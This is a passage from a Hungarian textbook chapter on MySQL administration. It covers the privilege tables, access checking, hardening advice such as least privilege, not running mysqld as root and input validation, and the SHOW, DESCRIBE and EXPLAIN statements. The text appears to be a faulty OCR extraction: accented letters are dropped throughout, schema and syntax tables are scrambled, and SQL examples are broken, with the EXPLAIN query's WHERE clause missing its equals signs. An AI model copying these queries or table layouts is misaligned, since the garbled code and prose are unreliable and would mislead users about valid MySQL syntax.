rak megrenni. Mindegyik kr mezrpust tartalmaz: harkrmezket, amelyek a felhasznlt, a kiszolglr s az adatbzis azon
rszt hatrozzk meg, amelyikre a jogosultsg vonatkozik; s a jogosulrsgi mezker, amelyek azt szablyozzk, hogy az adott

12

hatkrben lv felhasznlk mely mvelereker hajthatjk vgre.


A user s a host tblval hatrozharjuk meg, hogy az adott felhasznl kapcsoldhat-e egyltaln a MySQL kiszolg
lhoz, illetve rendelkezik-e brmilyen adminiszrrrori jogosultsggal. A
sokat rheti el a felhasznl. A

tables _priv

db

s a host tbla hatrozza meg, mely adarbzi

tblbl az derl ki, hogy az adatbzison bell melyik tblkhoz fr hozz,

a columns_priv tbla pedig azt hatrozza meg, hogy a tblkon bell mely oszlopokat ri el. Aprocs_priv tblbl azt
tudjuk meg, hogy milyen rutinokat futtathat a felhasznl.

user

use r

tbla

tbla a globlis felhasznli jogosultsgok rszleteit tartalmazza. Szablyozza, hogy az adott felhasznl jogosult-e

egyltaln a MySQL kiszolglhoz kapcsoldni, illetve rendelkezik-e brmilyen globlis szint- vagyis a rendszer sszes adat
bzisra rvnyes -jogosultsggal.
A tbla szerkezett a describe
12.1 tblzat: A mysql

adatbzis

user;

user

utasts segtsgvel ismerhetjk meg. A user tbla smja a 12.1 tblzatban lthat.

tbljnak smja

Mez

Tpusa

Host

varchar(60)

User

varchar(l6)

Password

varchar(41)

Select_priv

enum('N', 'Y')

Insert_priv

enum('N', 'Y')

Update_priv

enum('N','Y')

Delete_priv

enum('N', 'Y')

Create_priv

enum( 'N','Y')

Drop_priv

enum('N','Y')

Reload_priv

e num('N', 'Y')

Shutdown priv

e num('N','Y')

Process_priv

enum( 'N', 'Y')

File priv

enum('N','Y')

Grant_priv

enum('N','Y')

References_priv

enum('N','Y')

Index_priv

enum('N','Y')

Alter_priv

enum('N', 'Y')

Show_db_priv

enum( 'N','Y')

Super_priv

enum( 'N', 'Y')

Create tmp_table_priv

e num('N', 'Y')

Lock_tables_priv

enum('N','Y')

Execute_priv

enum('N','Y')

Repl slave_priv

e num ('N','Y')

Halad MySQL-adminisztrci

Mez

Tpusa

Repl_client_priv

enum('N' ,

Create_view_priv

e num('N' ,

'Y')

Show_view_priv

e num('N' ,

'Y')

'Y')

Create_routine_priv

enurn(' N' ,

'Y')

Alter_routine_priv

enum('N' ,

'Y')

Create_user_priv

enum('N' ,

'Y')

Event_priv

enum('N' ,

'Y')

Trigger_priv

enum( 'N' , 'Y ' )

ssl_type

enurn(' ' , 'ANY' , 'X509' , 'SPECIFIED' )

ssl_cipher

b lob

x509 issuer

blob

x509 subject

blob rnax_questions

max_updates

int(ll)

unsigned

max connections

int(ll)

unsigned

max user connections

int(ll)

unsigned

int(ll)

unsigned

12

A tblzat egyes sorai a Host szmitgprl rkez, User nev, a P assword jelszval bejelentkez felhasznl jogosults
gainak felelnek meg. Ezek a tblzat hatkrmezi (scope fi.eld), amelyek a tbbi, gynevezett jogosu/tsgi mez (privilege fi.eld)
hatkrt rjk le.
Az ebben a tblban felsorolt (s a tbbi tbla ltal kvetend) jogosultsgok a 9. fejezetben a GRANT utastssal kiosztott
jogosultsgoknak felelnek meg. A Se l ect_pr iv

pldul a SELECT parancs futtatsra val jogosultsg.

Amennyiben a felhasznl rendelkezik adott jogosultsggal, az ahhoz tartoz oszlop rtkeY . Ha a felhasznl nem kapott
meg valamely jogosultsgot, akkor az ahhoz tartoz rtk viszone N.
A user tbla ltal felsorolt jogosultsgok mindegyike globlis; ez azt jelenti, hogy a rendszerben

lv minden adatbzisra

(gy a rnysql adatbzisra is) rvnyesek. Rendszergazdk esetben itt szmos jogosultsg esetnY rtker tallunk, de a fel
hasznlk tbbsgnl N kell, hogy lljon. Az ltalnos felhasznlknak a megfelel adatbzisokra, nem pedig az sszes tblra
rvnyes jogosultsgokkal kell rendelkeznik.

A db s a h os t tbla
Az tlagos felhasznlk jogosultsgainak jelents rszt a db s a host tbla trolja.
A db tbla azt hatrozza meg. hogy mely felhasznlk melyik adatbzisokhoz s honnan (melyik hostokrl) frhetnek hoz
z. Az ebben a tblban felsorolt jogosultsgok az adott sorban megnevezett adatbzisra irnyulnak.
A host tbla kiegszti a user s a db tblt. Ha egy felhasznl tbb gprl csatlakozhat, a user s a db tbla
nem fogja felsorolni ezeket a hostokat. A felhasznlnak ehelyett tbb bejegyzse lesz a host tblban, amelyek az egyes
felhasznl-host kombincikhoz tartoz jogosultsgokat szablyozzk.

E kt tbla srnjt a 12.2, illerve a 12.3 tblzatban lthatjuk.


12.2 tblzat: A

rnysql

195

adatbzis db tbljnak smja

Mez

Tpusa

Host

char(60)

Db

char(64)

User

char(16)

Select_priv

enum('N' ,

Insert_priv

enum('N' ,

'Y')
'Y')

Update_priv

enum('N' ,

'Y')

Delete_priv

enum('N' ,

'Y')

Create_priv

e num('N' ,

'Y')

Drop_priv

enum('N' ,

'Y')

Grant_priv

enum('N' ,

'Y')

References _priv

enum('N' ,

'Y')

Index_priv

enum('N' ,

'Y')

Alter_priv

e num('N' ,

'Y')

196

12. fejezet

Mez

Tpusa

Create_tmp tables_priv

enum('N', 'Y')

Lock_tables_priv

enum('N','Y')

Create_view_priv

enum('N','Y')

Show_view_priv

enum('N', 'Y')

Create_routine_priv

enum('N', 'Y')

Alter_routine_priv

enum('N','Y')

Execute_priv

enum('N', 'Y')

Event_priv

enum('N', 'Y')

Trigger_priv

enum('N','Y')

12.3 tblzat: A mysql adatbzis host

12

tbljnak smja

Mez

Tpusa

Host

char(60)

Db

char(64)

Select_priv

enum('N','Y')

Insert_priv

enum('N', 'Y')

Update_priv

enum ('N','Y')

Delete_priv

enum('N', 'Y')

Create_priv

e num('N','Y')

Drop_priv

enum('N','Y')

Grant_priv

enum('N','Y')

References_priv

enum('N', 'Y')

Index_priv

enum('N', 'Y')

Alter_priv

enum ('N','Y')

Create tmp_tables_priv

enum( 'N','Y')

Lock_tables_priv

enum('N','Y')

Create_view_priv

enum('N','Y')

Show_view_priv

enum('N', 'Y')

Create routine_priv

enum('N', 'Y')

Alter_routine_priv

enum('N', 'Y')

Execute_priv

enum('N','Y')

Trigger_priv

enum('N', 'Y')

A tables_pr i v,

columns_pri v s a procs_pr i v tbla

A tables_pr iv, a columns_priv s a procs_priv tbla a tblaszint,

az

oszlopszint, illetve a trolt rutinokhoz

kapcsold jogosultsgokat tartalmazza.


Ezek a tblk a user, db s host tbltl kiss eltr szerkezettel rendelkeznek. A tables_pri v, a columns_priv s
a procs_priv tbla smjt a 12.4, a 12.5, illetve a 12.6, tblzatban lthatjuk.
12.4 tblzat: A mysql

adatbzis tables_priv tbljnak smja

Mez

Tpusa

Host

char(60)

Db

char(64)

User

char(16)

Table name

char(60)

Grantor

char(77)

Timestarop

timestarop(14)

Table_priv

set('Select', 'Insert',

'Update', 'Delete',

'Create',

'Drop', 'Grant', 'Re ferences', 'Index', 'Al ter',


'Create View',
Column_priv

'Show view',

'Trigger'))

set ('Select', 'Insert', 'Update', 'References')

Halad MySQL-adminisztrci

12.5 tblzat: A mysql

adatbzis columns_priv tbljnak smja

Mez

Tpusa

Host

char(60)

Db

char(64)

User

char(16)

Table name

char(64)

Column name

char(64)

Timestarop

timestamp(14)

Column_priv

set('Select',

12.6 tblzat: A mysql

'Insert',

'Update',

'Re ferences')

adatbzis procs_priv tbljnak smja

Mez

Tpusa

Host

char(60)

Db

char(64)

User

char(16)

12

Routine name

char(64)

Routine_type

enum('FUNCTION',

Grantor

char (77)

'PROCEDURE')

Proc_priv

set('Execute', 'Alter Routine', 'Grant')

Timestarop

timestarop(14)

A tables_priv s procs
nevt trolja. A tblk

pr i v

Timestamp

tbla

Grantor

oszlopa a felhasznlnak az adott jogosultsgot kioszt felhasznl

oszlopai a jogosultsg kiosztsnak dtumt s idpontjt rgztik.

Hozzfrsszablyozs: Hogyan hasznlja a MySQL a jogosoltsgi tblkat


A MySQL a jogosuJtsgi tblkat felhasznlva ktlpcss folyamatban hatrozza meg, mit jogosult megtenni egy adott felhasznl:
l. Kapcsolat ellenrzse. Itt a MySQL elszr is azt ellenrzi, hogy egyltaln van-e jogosultsgunk kapcsoldni. Ahogy

mr korbban emltettk, ezt a

user

tbla adatai alapjn dnti el. Ez az ellenrzs a felhasznli nv, a hosztnv

s a jelsz alapjn trtnik. Az res felhasznli nv azt jelzi, hogy minden felhasznl kapcsoldhat. A h osztnevek
meghatrozsnak hasznlhatunk dzskerkaraktert (%). Lehet ez a teljes mez tartalma (ami azt jelenti, hogy minden
hoszt megengedett) vagy a h osztnv egy rsze (a %. tangledweb. com. au esetn pldul a . tangledweb. com.
au-ra vgzd sszes hosztnv megfelel). Az res jelszmez azt jelenti, nincs szksg jelszra. Rendszernk bizton
sgosabb lesz, ha nem engedlyezzk az res felhasznli nevet, a h osztnevekben a dzskerkarakterek hasznlatt s
a jelsz nlkli felhasznlkat. Ha a hosztnv res, a MySQL a

host

tblban keres megfelel

user

s host be

jegyzst.
2. Krs ellenrzse. Minden egyes alkalommal, amikor a kapcsolat ltrehozsa utn krst intznk a kiszolglhoz,

a MySQL ellenrzi, hogy rendelkeznk-e a krs vgrehajtshoz szksges jogosultsggal. A rendszer elszr globlis
jogosultsgainkat ellenrzi (a user tblban), majd- ha ez nem elgsges- a

db

s a host tblhoz fordul. Ha nem

rendelkeznk elegend jogosultsggal, a MySQL ellenrzi a tables_pr i v tblt, s ha ez mg mindig nem elg, vgl
a

columns_pri v

la helyett a

tblt. Ha a mvelet trolt rutinokat hasznl, a MySQL a

procs _priv

tables_priv

s a

columns_priv

tb

tblt fogja ellenrizni.

Jogosultsgok frisstse: Mikor lpnek letbe a vltoztatsok


A MySQL a kiszolgl elindtsakor, illetve a

GRANT

s a

REVOKE

utasts kiadsakor automatikusan beolvassa a jogosults

gi tblkat. Most, hogy megrudtuk, a MySQL hol s mikppen trolja a jogosultsgokat, akr sajt kezleg is megvltoztathat
juk ezeket. Ha azonban ily mdon frissgk ket, a MySQL szerver nem fogja szrevenni, hogy a jogosultsgok megvltoztak.
Tudatnunk kell a kiszolglval, hogy vltozs trtnt, ezt pedig hromflekppen tehetjk meg. Begpelhetjk a MySQL
parancssorba a
FLUSH

PRIVILEGES;

utastst (a parancs hasznlathoz rendszergazdaknt kell bejelentkeznnk). Ez a jogosultsgok frisstsnek taln leggyakrab
ban hasznlt mdja.

197

198

12. fejezet

Megtehetjk ugyanakkor azt is, hogy opercis rendszernkbl futtatjuk a


mysqladmin flush-privileges

vagy a
mysqladmin reload

utastst.
Ezt kveten a globlis szint jogosultsgok ellenrzse a legkzelebbi felhasznli kapcsoldskor fog vgbemenni; az
adatbzis-jogosultsgok ellenrzst a u se utasts soron kvetkez hasznlata, a tbla- s oszlopszint jogosultsgok ellen
rzst pedig a felhasznl kvetkez krse vltja ki.

MySQL adatbzisunk biztonsgoss ttele


A biztonsg fontos tnyez, klnsen akkor, ha elkezdjk MySQL adatbzisunkat s weboldalunkat sszekapcsolni. A kvet
kez rszek bemutatjk, milyen vintzkedsekkel vdhetjk adatbzisunkat.

MySQL az opercis rendszer szemszgbl


A MySQL kiszolgl (mysqld) adminisztrtorknt (root) futtatsa nem tl j det Unix-szer opercis rendszer alatt. Ezzel
ugyanis a minden jogosultsggal felruhzott MySQL-felhasznl arra is lehetsget kap, hogy az opercis rendszerben bthon
nan olvasson s brhova tjon fjlokat. Ez igen fontos dolog, amirl, bizony, knny megfeledkezni. Szles krben ismert, hogy az

Apache honlapjt is ezzel sikerlt feltrni. (Szerencsre a hackerek "fehr kalaposak" voltak (vagyis j fik), egyeden cljuk az volt,
hogy szigorbb tegyk az oldal biztonsgt.)

rdemes ltrehozni egy MySQL-felhasznlt kifejezetten a mysqld futtatsra. Ezen tlmenen azt is megtehetjk, hogy
a knyvrtakat (ahol a fi:zikai adatokat ttoljuk) csak a MySQL-felhasznl sztnta tesszk elrhetv. Szmos teleptsnl a ki
szolgl gy van belltva, hogy mysql felhasznli azonostval (userid-vel) a mysql csoportban fusson.
MySQL kiszolglnk idelis esetben tzfalunk mgtt helyezkedik el. Ezzel lehetv vlik, hogy megtagadjuk a jogosulatlan
gpek kapcsoldst. Ellenrizzk, hogy a 3306-os szm porton keresztl tudunk-e kivlrl csatlakozni kiszolglnkhoz! Ez az
alaprtelmezett port, amelyen a MySQL fut, s ezt le kell zrni tzfalunkon.

Jelszavak
Gondoskodjunk arrl, hogy minden felhasznlnk (klnsen a root!) rendelkezzen az opercis rendszer jelszavhoz hasonl
gondossggal megvlasztott s rendszeresen vltoztatott jelszvall Az alapszably, amit soha nem szabad elfelejteni, hogy a rszben
vagy egszben sztri szbl ll jelsz, bizony. nem j vlaszts. A legjobb a betk s szmok kombincija.
Amennyiben kdfjlokban fogjuk rtoini a jelszavakat, gyeljnk, hogy csak az a felhasznl lthassa az adott kdot, akinek
a jelszavt abban ttoljuk!
Az adarbzishoz kapcsoldshoz hasznlt PHP kdoknak rtelemszeren hozz kell frnik az adott felhasznl jelszavhoz.
Ezt gy lehet kellen biztonsgosan megvalstani, ha a felhasznli nevet s a jelszt- mondjuk- egy dbconnect. php nev
fjlba tesszk, amit szksg esetn beszrunk A kdot a webes dokumentumf.in kvl kell trolni, s csak a megfelel felhasznl
szmra szabad elrhetv tenni.
Ne feledjk, hogy ha

. inc

vagy valamilyen ms kiterjeszts fjlban troljuk ezeket a rszleteket, meg kell bizonyosadnunk

arrl, hogy a webszerver risztban van azzal, hogy PHP-knt kell rtelmeznie e fjlokat, nehogy bngszn keresztl egyszer
szvegknt megtekinthetk legyenek ezek a titkos adatok!
Ne troljuk adatbzisunkban a jelszavakat egyszer szvegknt! A MySQL jelszavak nem gy troldnak, de webes alkal
mazsoknl gyakran elfordul, hogy trolni kvnjuk az oldal tagjainak felhasznli nevt s jelszavt. A jelszavakat a MySQL
password

( ) fggvnyvel lehet (egy irnyban) ritkostani. Jegyezzk meg, hogy ha ebben a formban sztjuk be a jelsz t, gy

akkor, arnikor- a felhasznl belptetshez- futtatjuk a SELECT utastst, ugyanezt a fggvnyt kell hasznlni ahhoz is, hogy
ellenrizzk a felhasznl ltal begpelt jelszt!
Az V., Gyakorlati PHP s MySQL projektekfejlesztse m rszben a projektek megvalstsnl fogjuk kihasznlni ezt a funkcir.

Felhasznli jogosultsgok
A tuds hatalom. Gyzdjnk meg arrl, hogy megrtettk a MySQL jogosultsgi rendszert s az egyes jogosultsgok Ici
osztsnak kvetkezmnyeit! Egyeden felhasznlt se ruhzzunk fel tbb jogosultsggal, mint amennyire szksge van! Ezt
a jogosultsgi tblkban ellenrizhetjk.

Halad MySQL-adminisztrci

Klnskppen ne osszunk ki PROCESS, FILE, SHUTDOWN s RELOAD jogosultsgot az egyetlen rendszergazdn kvl
ms felhasznlknak, legfeljebb rendkvl indokolt esetben! A PROCESS jogosultsggal ltni lehet, hogy mit tesznek s mit
gpelnek be ms felhasznlk (gy jelszavuk is megszerezhet). A FILE jogosultsggal fjlokat lehet olvasni s rni az operci
s rendszerbl, illetve az opercis rendszerbe (pldul Unix rendszerben az /etc/password knyvtrba).
A GRANT jogosultsg kiosztsval is csnjn kell bnni, mert lehetv teszi a felhasznlknak, hogy sajt jogosultsgaikat
megosszk msokkal.
Felhasznlk ltrehozsnl gyeljnk, hogy csak azokrl a hasztokrl engedlyezzk szmukra a hozzfrst, amelyekrl
csatlakozni fognak! Pldul egy j ane@localhost felhasznl teljesen rendben van, de szimpln a j ane tl gyakori, s
brhonnan bejelentkezhet - st lehet, hogy nem is az a j ane, akinek gondoljuk. Hasonl okokbl kerljk a hoszmevekben
a dzskerkarakterek hasznlatr!
A biztonsgot tovbb ersthetjk, ha a host tblban a domainnevek helyett IP-cmeket hasznlunk. Ily mdon elke
rlhetjk a DNS kiszolglnknl jelentkez hibk vagy crackerek okozta problmkat. gy rhetjk ezt el, ha a MySQL
daernonea--s kip-name- res olve belltssal indtjuk el, ami azt eredmnyezi, hogy minden host oszloprtknek IP
mnek vagy helyi gpnek (localhost) kel! lennie.
Clszer elkerlni, hogy a nem rendszergazda felhasznlk hozzfrjenek a webszerveren fut mysqladmin programhoz.
Mivel a program parancssorbl futtathat, a hozzfrs az opercisrendszer-jogosultsgok krdse.

Webes krdsek
MySQL adatbzisunk internertel trtn sszekapcsolsa klnleges biztonsgi krdseket ver fel.
rdemes azzal kezdeni, hogy kizrlag a webes kapcsolatok cljra ltrehozunk egy klnleges felhasznlt. gy lehets
gnk lesz arra, hogy csak a lehet legszkebb jogosultsggal ruhzzuk fel, s ne adjunk ennek a felhasznlnak pldul DROP,
ALTER vagy CREATE jogosultsgot. Csak a katalogus tblkra acijunk neki SELECT, s csak a megrendeles tblkra
INSERT jogosultsgot! Ismt egy j plda arra, hogyan alkalmazzuk a legkisebb jogosultsg elvt.
l

Figyelmeztets: Az elz fejezetben bemutattuk, hogyan lehet a PHP addslashes () s stripslashes () fggv
nyvel megszabadtani a karakterlncokat a problms karakterektL Fontos, hogy ne Jeledkezznk meg errl, s mieltt
brmit elkldennk a MySQL-nek, hajtsunk rajta vgre ltalnos adattiszttst. Emlkezhetnk r, hogy a doubleval ()
fggvnnyel azt ellenriztk, hogy a numerikus adat tnylegesen numerikus volt-e. Ennek elmulasztsa gyakori hiba; az
addslashes

() hasznlatra mg csak-csak szaktak emlkezni a programozk, m a numerikus adatok ellenrzst gyak

ran elfelej tik.

Minden esetben ellenriznnk kell a felhasznlktl rkez minden adatot. Mg akkor is, ha HTML rlapunk csak jell
ngyzetekbl s vlasztgombokbl ll, megvltoztathatjk az URL-t, hogy megprbljk feltrni kdunkat. Ugyangy rde
mes a bejv adatok mrert is ellenrizni.
Amennyiben a felhasznlk adatbzisunkban eltroland jelszavakar vagy ms bizalmas informcikat gpelnek be, ne
feledjk, hogy a bngsz egyszer szvegknt tovbbtja azokat a kiszolglnak - kivve, ha Secure Sockets Layer (SSL) kap
csolatot hasznlunk! Errl rszletesebben olvashatunk majd knyvnk egy ksbbi rszben.

Tovbbi informcik begyjtse az adatbzisokrl


Idig a SHOW s a DESCRIBE utastst hasznltuk annak kidertsre, milyen tblkbl ll adatbzisunk, s milyen oszlopok
tallhatk ezekben a tblkban. A kvetkezkben rviden ttekintjk, milyen ms mdokon hasznlhatjuk ezeket, illetve az
EXPLAIN utastst arra, hogy tovbbi informcit szerezznk a SELECT mvelet vgrehajtsval.

lnformciszerzs a SHOW utastssal


A korbbiakban a
SHOW

TABLES;

utastssal kaptuk meg az adatbzisban lv tblk listjt.


A
SHOW

DATABASES;

utasts az elrhet adatbzisok listjt aclja. Ha ez megvan, a SHOW


adatbzis tblinak listjt jelenthetjk meg:

TABLES

utastssal az ezek kzl kivlasztott valamely

199

12

200

12. fejezet

SHOW TABLES FROM konyvek;

Amikor adatbzis meghatrozsa nlkl hasznljuk a SHOW TABLES utastst, az aktulisan hasznlt adatbzisra fog vo
natkozni.
Ha mr tudjuk, milyen tblk vannak, a kvetkezkppen kapjuk meg az oszlopok listjt:
SHOW COLUMNS FROM megrendelesek FROM konyvek;

Ha kihagyjuk az adatbzis nevt, a SHOW COLUMNS utasts az aktulisan hasznlt adatbzisra fog vonatkozni.
Hasznlhaguk a tabla.oszlop megjellst is:
SHOW COLUMNS FROM konyvek.megrendelesek;

A SHOW utasts egy msik igen hasznos vltozatval kiderthet, hogy milyen jogosultsgokkal br egy adott felhasznl. A
SHOW GRANTS FOR bookorama;

utasts az albbi eredmnnyel jr:


+------------------------------------------------------------------------+

Grants for bookorama@%

+------------------------------------------------------------------------+

12

GRANT USAGE ON *.* TO

'bookorama'@'%'

IDENTIFIED BY PASSWORD '*1ECE648641438A28El910DOD7403CSEE9E8BOA85'


GRANT SELECT,
ON

INSERT,

'konyvek'.* TO

UPDATE,

DELETE,

CREATE,

DROP,

INDEX,

ALTER

'bookorama'@'%'

+------------------------------------------------------------------------+

Az itt lthat GRANT utastsok nem szksgszeren azok, amelyekkel az adott felhasznl megkapta meglv jogosults
gait, inkbb olyan egyenrtk utastsok sszefoglalsa, amelyek a felhasznl jelenlegi jogosultsgi szingt eredmnyeznk.
A SHOW utasts szmtalan ms vltozatban hasznlhat, valjban tbb mint harminc klnbz vltozata ltezik.
A gyaktabban hasznltakat a 12.7 tblzatban lthatjuk. A teljes listrt olvassunk bele a MySQL kziknyvbe (hrrp://dev.
mysql.com/doc/refman/5.1/en/show.html)! A [LIKE_v agy_WHERE J

tblzatbeli sszes elfordulsa esetn megprblha

tunk mintt vagy kifejezst illeszteni a LIKE, illetve a WHERE hasznlatval.


12.7 tblzat: A SHOW utasts szintaktikja
Vltozat

Lers

SHOW DATABASES
SHOW

[OPEN)

[LIKE_vagy_WHERE)

TABLES

[FROM adatbazis]

[LIKE_vagy_WHERE)
SHOW

[FULL)

adatbazis)

Az elrhet adatbzisok listjt jelenti meg.


Az aktulisan hasznlt vagy

az

adatbazis nev adatbzis tblinak

listjt jelenti meg.

COLUMNS FROM tabla

[FROM

[LIKE_vagy_WHERE)

Az aktulisan hasznlt vagy a megnevezett adatbzis egy adott


tbljnak sszes oszlopt lisrzza ki. A SHOW COLUMNS helyerr
a SHOW FIELDS is hasznlhat.

SHOW INDEX FROM tabla

Az aktulisan hasznlt vagy

[FROM

adatbazis]

az

adatbazis nev adatbzis egy adott

tbljn lv indexek rszleteit mutaga. Hasznlhat helyette


a SHOW KEYS is.

SHOW

[GLOBAL

SESSION)

STATUS

vagy_WHERE)

[LIKE

A rendszerelemek, pldul a fut szlak szmrl ad tjkoztatst.


A LIKE mellkggal

az

elemek neveire lehet illeszteni, a.,Thread%"

pldul a .. Threads_cached", .. Threads_connected; .,Threads created"


s.Threads running" elemeknek felel meg.
SHOW

[GLOBALISESSION)

VARIABLES

[LIKE_vagy_WHERE)
SHOW

[FULL)

PROCESSLIST

A MySQL rendszervltozk nevt s rtkt jelenti meg (pldul


verziszm).
A rendszeren aktulisan fut folyamatokat - vagyis az ppen vgre
hajtort lekrdezseket -jelenti meg. A felhasznJk tbbsge csak
sajt szlait lthaga, de PROCESS jogosultsggal brki folyamata
ira - gy akr lekrdezsekben lv jelszavakra is - rnzhernek
Az opcionlis FULL kulcssz hasznlatakor a teljes lekrdezsek
jelennek meg.

Halad MySQL-adminisztrci

201

Lers

\Tltozat
SHOW TABLE STATUS

[FROM adatbazis]

[LIKE_vagy_WHERE]

Az aktulisan hasznlt vagy az adathazis nev adatbzis sszes tb


ljrl kzl informcikar. (Az adarbzist dzskerkarakter hasz
nlatval is meghatrozhatjuk.) Az informcik kzrt megtalljuk
a tbla tpust s az utols frisstse idpontjt.

SHOW GRANTS FOR

A jelhasznala nev felhasznl jelenlegi jogosuJtsgi szinrjnek ki

jelhasznala

osztshoz szksges G RANT utastsokat jelenti meg.

SHOW PRIVILEGES

A kiszolgl ltal tmogatott klnbz jogosultsgokat jelenti

SHOW

A meghatrozott adatbzist ltrehoz CREATE DATABASE utas

meg.
CREATE DATABASE adatbazis

tst jelenti meg.


SHOW CREATE TABLE tabla neve

A meghatrozott tblzatot ltrehoz CREATE TABLE utastst

SHOW

Az adott teleptsnl elrhet trolmotorokat jelenti meg, illetve

jelenti meg.
[STORAGE] ENGINES

jelzi, melyik az alaprtelmezett. (A trolmotorokkal rszletesebben


foglalkozunk a Halad

SHOW WARNINGS

[LIMIT

[eltolas,]

sorok_szama]
SHOW ERRORS

MySQLpragramazs

cm 13. fejezetben.)

Az InnoDB trolmotor aktulis llapotrl jelent meg adatokat.

SHOW INNODB STATUS

Az utoljra vgrehajtott utasts ltal generlt hibkat, figyelmezte


tseket vagy zeneteket jelenti meg.

[LIMIT

[eltols,] sorok

Az utoljra vgrehajtott utasts ltal generlt hibkat jelenti meg.

sz ama]

lnformciszerzs oszlopokrl a DESCRIBE utastssal


A SHOW COLUMNS utasts alternatvjaknt rendelkezsnkre ll a DES CRIBE utasts is, amely igen hasonl az Oracle (egy
msik RDBMS) DESCRIBE utastshoz. Alapvet szintaktikja a kvetkez:
DES CRIBE tabla

[oszlop];

Az utasts a tbla minden oszloprl, illetve- az oszlop meghatrozsa esetn-egy adott oszloprl ad informcit. Az
oszlopnvben tetszs szerint hasznlhatunk dzskerkaraktereket.

A lekrdezsek mkdsnek megismerse az EXPLAIN utastssal


Az EXPLAIN urasrs ktflekppen hasznlhat. Egyik formja:
EXPLAIN tabla;

Ez a parancs ekkor a DESCRIBE tabla vagy a SHOW COLUMNS FROM tabla utastshoz hasonl eredmnyt ad.
A msodik s sokkal rdekesebb hasznlati md esetn az EXPLAIN ltni engedi szmunkra, pontosan miknt rtkel ki
a

MySQL egy adott SELECT lekrdezst. Ehhez nem kell mst tennnk, mint egyszeren az EXPLAIN szt berni a megfele

l SELECT utasts el.

Az EXPLAIN utasts akkor nyer igazn rtelmet, amikor sszetett lekrdezst prblunk mkdsbe hozni, s egyrtel
men ltszik, hogy valami nem stimmel, vagy amikor egy lekrdezs feldolgozsa a kelletnl sokkal tovbb tart. Ha komplex

lekrdezst runk, az EXPLAIN parancs segitsgvel elzetesen, a lekrdezs tnyleges futtatsa eltt ellenrizhetjk. Az
utaststl visszakapott kimenet alapjn szksg esetn tdolgozharjuk az SQL kdot, hogy optimalizljuk. A fentiek miatt az
EXPLAIN

parancs egyben gyes tanulsi eszkz is.

Prbljuk meg pldul a kvetkez lekrdezst lefuttatni a Book-O-Rama adatbzison:


EXPLAIN
SELECT vasarlok.nev
FROM vasarlok,

megrendelesek, rendelesi_tetelek, konyvek

WHERE vasarlok.vasarloid

megrendelesek.vasarloid

AND megrendelesek.rendelesid

AND rendelesi_tetelek.isbn

konyvek.isbn

AND konyvek.cim

like

rendelesi_tetelek.rendelesid

'%Java%';

A lekrdezs az albbi kimenetet adja. (Azrt fgglegesen jelentjk meg, mert a tblzat sorai tl szlesek ahhoz, hogy
elfrjenek knyvnk oldalain. Ha pontosvessz helyett \G-vel zrjuk a lekrdezst, akkor kapjuk ezt a formtumot.)

12

202

12.fezet

***************************

2. row

***************************

SIMPLE

table:

possible keys:

***************************

id:
select type:

type:

l. row

megrendelesek
ALL
PRIMARY

key:

NULL

key_len:

NULL

ref:

NULL

rows:

Extra:
***************************

id:
select type:

12

table:
type:

l
SIMPLE
rendelesi tetelek
ref

possible keys:

PRIMARY

key:

PRIMARY

key_len:
ref:
rows:
Extra:

4
konyvek.megrendelesek.rendelesid

l
Using index

***************************

id:
select type:
-

table:
type:
possible_keys:

SIMPLE
vasarlok
ALL
PRIMARY

key:

NULL

key len:

NULL

ref:

NULL

rows:
Extra:

3
Using where;

***************************

id:
select_type:
table:
type:

konyvek

PRIMARY

Extra:

join buffer

row ***************************

eq_ref

PRIMARY

rows:

4.

key:

ref:

Using

SIMPLE

possible keys:

key_len:

3. row ***************************

13
konyvek.rendelesi

tetelek.isbn

l
Using where

A kimenet elsre kicsit zavarosnak tnhet, de nagyon hasznos lehet. Vizsgljuk meg egyenknt a tblzat oszlopait!
Az els, az id oszlop az azon lekrdezsen belli SELECT utasts azonost szmt adja meg, amelyre a sor hivatkozik.
A select_type oszlop a hasznlt lekrdezs tpust mutatja meg. Az oszlop lehetsges rtkeit a 12.8 tblzatban lthatjuk.
12.8 tblzat: Az EXPLAIN utasts kimenetben szerepl, lehetsges Select-tpusok
Tpus

Lers

SIMPLE

Egyszer SELECT, mint amilyen pldnkban is szerepel.

PRIMARY

Egymsba gyazott lekrdezsek s unik hasznlata esetn a kls (els) lekrdezs.

Halad MySQL-adminisztrci

203

Lers

Tpus

Msodik vagy ksbbi lekrdezs uniban.

UNION
DEPENDENT

Msodik vagy ksbbi lekrdezs uniban, az elsdleges lekrdezstl fgg.

UNION

eredmnye.

UNION RESULT

UNION

SUBQUERY

Bels egymsba gyazott lekrdezs.

DEPENDENT SUBQUERY

Bels egymsba gyazott lekrdezs, amely az elsdleges lekrdezstl fgg (azaz korrellt
lekrdezs).
mellkgban hasznlt, egymsba gyazott lekrdezs.

DERIVED

FROM

UNCACHEABLE SUBQUERY

Olyan egymsba gyazorr lekrdezs, amelynek eredmnye nem gyorsttrazhat, gy


minden egyes sorhoz jra ki kell rtkelni.
Msodik vagy ksbbi lekrdezs uniban, amely nem gyorsttrazhat egymsba gya

UNCACHEABLE UNION

zott lekrdezshez tartozik.

A table oszlop egyszeren a lekrdezs megvlaszolshoz hasznlt tblkat sorolja fel. Az eredmny minden egyes
sora arrl tjkoztat, hogyan hasznlja a lekrdezs az adott tblt. Jelen pldban azt lthatjuk, hogy a megrendelesek,
a rendelesi _tetelek, a vasarlok s a konyvek tbla volt rintett. (Ezt mr korbban, a lekrdezsre nzve is meg
llapthattuk)
A type oszlop azt mutatja, hogyan lesz felhasznlva a tbla a lekrdezs sszekapcsolsaiban. Az oszlop lca! felvehet rtkek
kszlett a 12.9 tblzat mutatja. Az ott szerepl rtkek a lekrdezs vgrehajtsnak sebessge szerint a leggyorsabbtl a leglas
sabbig terjednek. A tblzatbl kvetkeztethetnk, hogy hny sort kell az egyes tblkbl a lekrdezs vgrehajtshoz beolvasni.
12.9 tblzat: Az

EXPLAIN

Lers

Tpus
const

utasts kimenetben szerepl, lehetsges sszekapcsalsi tpusok

vagy system

eq_ref

A tblbl egyetlen beolvass trtnik. Ez akkor lehetsges, ha a tbla pontosan egy sorbl
ll. Rendszertbla esetn a system, ms esetben a const tpust hasznlja.
Az sszekapcsolsban szerepl ms tblk minden sorkszlethez (set of row) egyetlen sort
olvasunk be ebbl a tblbl. Ez a tpus jn szba, amikor az sszekapcsols a tbln lv
index minden rszt hasznlja, s az index UNI QUE,

vagy az az elsdleges kulcs.

index hasznlatval vgrehajtott sszekapcsols.

fulltext

fulltext

ref

Az sszekapcsolsban szerepl ms tblk minden sorkszlethez a tbla megfelel sorksz


